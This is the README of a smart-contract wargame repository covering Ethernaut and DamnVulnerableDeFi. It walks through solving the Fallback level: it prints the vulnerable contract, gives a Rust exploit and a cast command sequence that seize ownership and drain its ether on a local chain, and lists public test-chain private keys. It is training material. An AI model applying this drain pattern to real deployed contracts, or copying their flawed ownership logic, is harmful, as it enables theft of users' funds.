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DEX OFFENDER

A compilation of smart contract wargames (currently only Ethernaut and DamnVulnerableDeFi). You can find the levels in ./contracts/$GAME_NAME and add your solution to ./attack/src/$GAME_NAME/hack*.rs.

Smart contracts

Build attack contracts and generate Rust bindings for their ABIs

forge bind -b ./attack/src/abi --module --overwrite

If you want to automatically rebuild the contracts on file change, use

forge build -w

You can find the full list of forge commands by running forge help and you can get all the options of a command by passing --help, e.g. forge bind --help.

Templates

  • ./ctf/src/ethernaut/template_lvl.rs
  • ./attack/src/ethernaut/template_hack.rs

Example solution

Let's solve the first level of Ethernaut, Fallback. You can find the source code of the contract in ./contracts/ethernaut/lvl01/Fallback.sol.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Fallback {
    mapping(address => uint256) public contributions;
    address public owner;

    constructor() {
        owner = msg.sender;
        contributions[msg.sender] = 1000 * (1 ether);
    }

    modifier onlyOwner() {
        require(msg.sender == owner, "caller is not the owner");
        _;
    }

    function contribute() public payable {
        require(msg.value < 0.001 ether);
        contributions[msg.sender] += msg.value;
        if (contributions[msg.sender] > contributions[owner]) {
            owner = msg.sender;
        }
    }

    function getContribution() public view returns (uint256) {
        return contributions[msg.sender];
    }

    function withdraw() public onlyOwner {
        payable(owner).transfer(address(this).balance);
    }

    receive() external payable {
        require(msg.value > 0 && contributions[msg.sender] > 0);
        owner = msg.sender;
    }
}

To take ownership of the contract and withdraw the funds we need to first contribute less than 0.001 ether, then send any non-zero amount to the contract, and then simply call withdraw. Here's what it looks like in Rust (you find this code in ./attack/src/ethernaut/hack01_fallback.rs).

use async_trait::async_trait;
use ctf::ethernaut::lvl01_fallback::*;
use ethers::prelude::*;

pub(crate) struct Exploit;

#[async_trait]
impl ctf::Exploit for Exploit {
    type Target = Target; // If you press ctrl+] then VS Code will take you to the
//                           definition of this type so you can check what you can
//                           use to pass the level. Usually it's just the address
//                           to which the target contract was deployed

    async fn attack(
        self,
        target: &Self::Target, // this that same type you see in the `type Level` thing
        offender: &ctf::Actor, // <-- that's you. of course don't use the `deployer` account
    ) -> eyre::Result<()> {
        // This is how you "connect" to a deployed contract. You can see how it was deployed
        // in ./ctf/src/ethernaut/lvl01_fallback.rs
        let contract =
            Fallback::new(target.contract_address, offender.clone());

        // This is how you call a contract function with no arguments:
        contract.contribute().value(1).send().await?.await?;

        // And this is how to send a regular transaction:
        offender
            .send_transaction(
                TransactionRequest::new().to(contract.address()).value(1),
                None,
            )
            .await?
            .await?;

        // And now withdraw. Easy money...
        contract.withdraw().send().await?.await?;

        Ok(())
    }
}

If you then run

cargo test -p attack -- --nocapture

cargo test -p attack -- --nocapture`

you should see something like this

$ cargo test -p attack -- --nocapture
   Compiling attack v0.1.0 (/home/gleb/code/0xgleb/data-cartel/dex-offender/attack)
    Finished test [unoptimized + debuginfo] target(s) in 6.83s
     Running unittests src/lib.rs (target/debug/deps/attack-2b00d561556c247a)

running 1 tests

Running the solution...
Checking the solution...
Checking that you claimed ownership of the contract...
Checking that you reduced its balance to 0...

-------------------------------------
//////     CONGRATULATIONS     //////

$$$  Y O U  H A V E  S O L V E D  $$$
$$$   T H E   C H A L L E N G E   $$$

youpassedthelevelyoupassedthelevelyou
passedthelevelyoupassedthelevelyoupas
sedthelevelyoupassedthelevelyoupassed
-------------------------------------

test ethernaut::hack01_fallback::tests::test ... ok

test result: ok. 1 passed; 0 failed; 3 ignored; 0 measured; 0 filtered out; finished in 35.05s

   Doc-tests attack

running 0 tests

test result: ok. 0 passed; 0 failed; 0 ignored; 0 measured; 0 filtered out; finished in 0.00s

Local blockchain

If you're using the dev container then you already have a local blockchain running in one of the VS code terminals. If not, you can start it by running anvil. I would recommend turning on tracing to make debugging easier.

anvil --steps-tracing --load-state state.json
Field Value
Port 8545
Mnemonic: test test test test test test test test test test test junk
Derivation path m/44'/60'/0'/0/
Base Fee 1000000000
Gas Limit 30000000
Genesis Timestamp 1686684032
Role Address Private key
Offender 0xa0Ee7A142d267C1f36714E4a8F75612F20a79720 0x2a871d0798f97d79848a013d4936a73bf4cc922c825d33c1cf7073dff6d409c6
Deployer 0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266 0xac0974bec39a17e36ba4a6b4d238ff944bacb478cbed5efcae784d7bf4f2ff80
Some user 0x70997970C51812dc3A010C7d01b50e0d17dc79C8 0x59c6995e998f97a5a0044966f0945389dc9e86dae88c7a8412f4603b6b78690d

Command line wallet

You can then use cast to inspect blocks, transactions, send transactions, call smart contracts and more. Let's do Ethernaut level 1 again but now using cast. I deployed the Fallback contract behind the scenes to address 0x5FbDB2315678afecb367f032d93F642f64180aa3. Let's call contribute() on the contract the same way we did in Rust. -i enables interactive mode and we can simply copy-paste the offender's private key to sign the transaction.

$ cast send -i 0x5FbDB2315678afecb367f032d93F642f64180aa3 'contribute()' --value 0.0001ether
Enter private key: # <---------- ################# PASTE PRIVATE KEY HERE ############

blockHash               0xcf356e520eb871b84d65c40970094ba8e8a9b975264b3701d31367063e456b21
blockNumber             3
contractAddress
cumulativeGasUsed       47992
effectiveGasPrice       3767701843
gasUsed                 47992
logs                    []
logsBloom               0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
root
status                  1
transactionHash         0x35808bd72ddfc8f3a60da5ced50c8f8dfc62d3cd928b47121422fd02f025362e
transactionIndex        0
type                    2

Now let's send a regular ether transfer to that contract to trigger receive().

$ cast send -i 0x5FbDB2315678afecb367f032d93F642f64180aa3 --value 0.0001ether
Enter private key:

blockHash               0x8fc732547f8d5357356aa593adac7294a4528cb7475c00744976e56a76374232
blockNumber             4
contractAddress
cumulativeGasUsed       28323
effectiveGasPrice       3672046143
gasUsed                 28323
logs                    []
logsBloom               0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
root
status                  1
transactionHash         0x7305a525824b6960eca3b105c2d90d561e0bc0b1e1bd77b88277ac4127876993
transactionIndex        0
type                    2

Let's check our contributions.

$ cast call -i 0x5FbDB2315678afecb367f032d93F642f64180aa3 'getContribution()'
Enter private key:
0x00000000000000000000000000000000000000000000000000005af3107a4000

Decimal numbers look kinda weird in hex. Let's check who the owner is.

$ cast call 0x5FbDB2315678afecb367f032d93F642f64180aa3 'owner()'
0x000000000000000000000000a0ee7a142d267c1f36714e4a8f75612f20a79720

Oh, that's the offender address. Looks like we should be able to withdraw() now.

$ cast send -i 0x5FbDB2315678afecb367f032d93F642f64180aa3 'withdraw()'
Enter private key:

blockHash               0x4f3bac2bc4f4f72cf8d231a9f660c4fe9c98c702fafba6f31bc35f7bd1c3108d
blockNumber             5
contractAddress
cumulativeGasUsed       30341
effectiveGasPrice       3588198995
gasUsed                 30341
logs                    []
logsBloom               0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
root
status                  1
transactionHash         0x6d2ec4f84ff1308695afd6a0ef130af5bde3f26eefc112b22d39840502528635
transactionIndex        0
type                    2

We can check that transaction.

$ cast tx 0x6d2ec4f84ff1308695afd6a0ef130af5bde3f26eefc112b22d39840502528635

blockHash            0x4f3bac2bc4f4f72cf8d231a9f660c4fe9c98c702fafba6f31bc35f7bd1c3108d
blockNumber          5
from                 0xa0Ee7A142d267C1f36714E4a8F75612F20a79720
gas                  32596
gasPrice             3588198995
hash                 0x6d2ec4f84ff1308695afd6a0ef130af5bde3f26eefc112b22d39840502528635
input                0x3ccfd60b
nonce                2
r                    0x3d6ef6c97099eac4ea34e4c4fd96b6a74178cb869d594204d230b71c013778cd
s                    0x12cb05396e67639be6d27f420e058a5d5e3595840da33dfa6dba3ba955342cc9
to                   0x5FbDB2315678afecb367f032d93F642f64180aa3
transactionIndex     0
v                    1
value                0

Or check its receipt.

$ cast receipt 0x6d2ec4f84ff1308695afd6a0ef130af5bde3f26eefc112b22d39840502528635

blockHash               0x4f3bac2bc4f4f72cf8d231a9f660c4fe9c98c702fafba6f31bc35f7bd1c3108d
blockNumber             5
contractAddress
cumulativeGasUsed       30341
effectiveGasPrice       3588198995
gasUsed                 30341
logs                    []
logsBloom               0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
root
status                  1
transactionHash         0x6d2ec4f84ff1308695afd6a0ef130af5bde3f26eefc112b22d39840502528635
transactionIndex        0
type                    2

With cast rpc you get the full power of Ethereum's JSON RPC API right at your fingertips.

$ cast rpc trace_transaction 0x6d2ec4f84ff1308695afd6a0ef130af5bde3f26eefc112b22d39840502528635
[{"action":{"from":"0xa0ee7a142d267c1f36714e4a8f75612f20a79720","to":"0x5fbdb2315678afecb367f032d93f642f64180aa3","value":"0x0","gas":"0x243d","input":"0x3ccfd60b","callType":"call"},"result":{"gasUsed":"0x243d","output":"0x"},"traceAddress":[],"subtraces":1,"transactionPosition":0,"transactionHash":"0x6d2ec4f84ff1308695afd6a0ef130af5bde3f26eefc112b22d39840502528635","blockNumber":5,"blockHash":"0x4f3bac2bc4f4f72cf8d231a9f660c4fe9c98c702fafba6f31bc35f7bd1c3108d","type":"call"},{"action":{"from":"0x5fbdb2315678afecb367f032d93f642f64180aa3","to":"0xa0ee7a142d267c1f36714e4a8f75612f20a79720","value":"0x4564476865e88000","gas":"0x0","input":"0x","callType":"call"},"result":{"gasUsed":"0x0","output":"0x"},"traceAddress":[0],"subtraces":0,"transactionPosition":0,"transactionHash":"0x6d2ec4f84ff1308695afd6a0ef130af5bde3f26eefc112b22d39840502528635","blockNumber":5,"blockHash":"0x4f3bac2bc4f4f72cf8d231a9f660c4fe9c98c702fafba6f31bc35f7bd1c3108d","type":"call"}]

This is hard to read. Let's pipe it thorugh jq.

$ cast rpc trace_transaction 0x6d2ec4f84ff1308695afd6a0ef130af5bde3f26eefc112b22d39840502528635 | jq .
[
  {
    "action": {
      "from": "0xa0ee7a142d267c1f36714e4a8f75612f20a79720",
      "to": "0x5fbdb2315678afecb367f032d93f642f64180aa3",
      "value": "0x0",
      "gas": "0x243d",
      "input": "0x3ccfd60b",
      "callType": "call"
    },
    "result": {
      "gasUsed": "0x243d",
      "output": "0x"
    },
    "traceAddress": [],
    "subtraces": 1,
    "transactionPosition": 0,
    "transactionHash": "0x6d2ec4f84ff1308695afd6a0ef130af5bde3f26eefc112b22d39840502528635",
    "blockNumber": 5,
    "blockHash": "0x4f3bac2bc4f4f72cf8d231a9f660c4fe9c98c702fafba6f31bc35f7bd1c3108d",
    "type": "call"
  },
  {
    "action": {
      "from": "0x5fbdb2315678afecb367f032d93f642f64180aa3",
      "to": "0xa0ee7a142d267c1f36714e4a8f75612f20a79720",
      "value": "0x4564476865e88000",
      "gas": "0x0",
      "input": "0x",
      "callType": "call"
    },
    "result": {
      "gasUsed": "0x0",
      "output": "0x"
    },
    "traceAddress": [
      0
    ],
    "subtraces": 0,
    "transactionPosition": 0,
    "transactionHash": "0x6d2ec4f84ff1308695afd6a0ef130af5bde3f26eefc112b22d39840502528635",
    "blockNumber": 5,
    "blockHash": "0x4f3bac2bc4f4f72cf8d231a9f660c4fe9c98c702fafba6f31bc35f7bd1c3108d",
    "type": "call"
  }
]

Aight, last two. You can check the latest block easily.

$ cast block latest

baseFeePerGas        588198995
difficulty           0
extraData            0x
gasLimit             30000000
gasUsed              30341
hash                 0x4f3bac2bc4f4f72cf8d231a9f660c4fe9c98c702fafba6f31bc35f7bd1c3108d
logsBloom            0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
miner                0x0000000000000000000000000000000000000000
mixHash              0x0000000000000000000000000000000000000000000000000000000000000000
nonce                0x0000000000000000
number               5
parentHash           0x8fc732547f8d5357356aa593adac7294a4528cb7475c00744976e56a76374232
receiptsRoot         0x24e5537e1fd854ea16e6273cfa8aa012a00ae87821ad88d8e06b6af7dbbedccb
sealFields           [
  0x0000000000000000000000000000000000000000000000000000000000000000
  0x0000000000000000
]
sha3Uncles           0x1dcc4de8dec75d7aab85b567b6ccd41ad312451b948a7413f0a142fd40d49347
size                 635
stateRoot            0xc1c5f00d1950c99bf08e0a8cd4ad30db017f95b4b980a1bba75b1fe8177602ab
timestamp            1687538356
totalDifficulty      0
transactions:        [
  0x6d2ec4f84ff1308695afd6a0ef130af5bde3f26eefc112b22d39840502528635
]

And we can trace blocks too (assuming you're running anvil with --steps-tracing).

$ cast rpc trace_block latest | jq .
[
  {
    "action": {
      "from": "0xa0ee7a142d267c1f36714e4a8f75612f20a79720",
      "to": "0x5fbdb2315678afecb367f032d93f642f64180aa3",
      "value": "0x0",
      "gas": "0x243d",
      "input": "0x3ccfd60b",
      "callType": "call"
    },
    "result": {
      "gasUsed": "0x243d",
      "output": "0x"
    },
    "traceAddress": [],
    "subtraces": 1,
    "transactionPosition": 0,
    "transactionHash": "0x6d2ec4f84ff1308695afd6a0ef130af5bde3f26eefc112b22d39840502528635",
    "blockNumber": 5,
    "blockHash": "0x4f3bac2bc4f4f72cf8d231a9f660c4fe9c98c702fafba6f31bc35f7bd1c3108d",
    "type": "call"
  },
  {
    "action": {
      "from": "0x5fbdb2315678afecb367f032d93f642f64180aa3",
      "to": "0xa0ee7a142d267c1f36714e4a8f75612f20a79720",
      "value": "0x4564476865e88000",
      "gas": "0x0",
      "input": "0x",
      "callType": "call"
    },
    "result": {
      "gasUsed": "0x0",
      "output": "0x"
    },
    "traceAddress": [
      0
    ],
    "subtraces": 0,
    "transactionPosition": 0,
    "transactionHash": "0x6d2ec4f84ff1308695afd6a0ef130af5bde3f26eefc112b22d39840502528635",
    "blockNumber": 5,
    "blockHash": "0x4f3bac2bc4f4f72cf8d231a9f660c4fe9c98c702fafba6f31bc35f7bd1c3108d",
    "type": "call"
  }
]